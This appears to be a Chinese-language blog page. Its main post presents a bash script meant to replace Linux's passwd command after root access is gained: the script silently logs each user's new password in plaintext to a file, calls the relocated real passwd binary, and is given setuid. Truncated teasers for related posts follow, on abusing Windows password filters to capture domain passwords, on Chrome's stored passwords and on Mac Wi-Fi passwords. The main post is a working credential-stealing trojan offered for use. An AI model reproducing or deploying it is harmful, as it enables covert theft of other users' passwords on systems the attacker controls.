在得到linux系統許可權後可以為所欲為,只要你足夠秀,但是你想得到其他使用者的密碼理論上是不可能的,linux密碼加密都是單向加密,比如md5、sha256 、sha512等,是不可逆的,不能通過密文得到名文,方法還是有的:
#!/bin/bash
echo "更改使用者 $1 的密碼 。"
read -s -p "新的 密碼:" pawd1
echo ""
read -s -p "重新輸入新的 密碼:" pawd2
if [[ $pawd1==$pawd2 ]];then
echo ""
echo "$1 $pawd2" > /test/passwd #將賬號密碼明文儲存,方便自己檢視
echo "$pawd1" | passwd --stdin $1 #重點:非互動式設定使用者密碼
echo "密碼設定成功。"
else
echo "抱歉。 密碼不匹配。"
fi
這樣測試:
/test/passwd zhang3 #設定zhang3使用者密碼,寫你的指令碼名,我只是舉例!
注意:
1、主要用到的是echo "passwd" | passwd --stdin user 這條命令,如果你移動了原passwd檔案 **中請寫原passwd檔案絕對路徑。比如 echo "$pawd1" | /test/passwd --stdin $1 。
2、自定義的passwd指令碼,需要加setuid許可權,改密碼都要以root許可權執行的,無論是哪個使用者。命令:chmod u+s passwd
如何獲取全域使用者明文密碼
在組策略之外,windows 允許你自定義密碼策略,濫用這個機制可以實現一些惡意行為。今天為大家科普下 當我們按下 ctrl alt del,修改使用者密碼時,在 windows 伺服器端,會發生什麼呢?首先,windows 伺服器 域控 會檢查登錄檔,找到 password filter,也就是l...
Chrome明文儲存密碼
1.最近實在過於閒。2.對於chrome把密碼儲存在什麼地方,以及怎麼存的比較好奇。出於以上兩點原因,稍微翻了翻,總結如下 chrome儲存使用者儲存的登陸使用者名稱和密碼的位置 儲存的方式 明文儲存在sqlite資料庫 檢視的辦法 下乙個sqliteviewer就可以了,正常情況下有兩個table...
mac上檢視wifi密碼明文
有的時候會碰到wifi的密碼忘記了,但是是以前用過的wifi,想知道有沒有辦法能夠找到密碼明文,搜了一下果然有,而且非常方便,摘錄如下。首先,開啟應用程式中 實用工具 資料夾中的 鑰匙串訪問 選擇左側的 密碼 就可以看到右側有 airport網路密碼 了 但是我並沒有看到有airport網路密碼,不...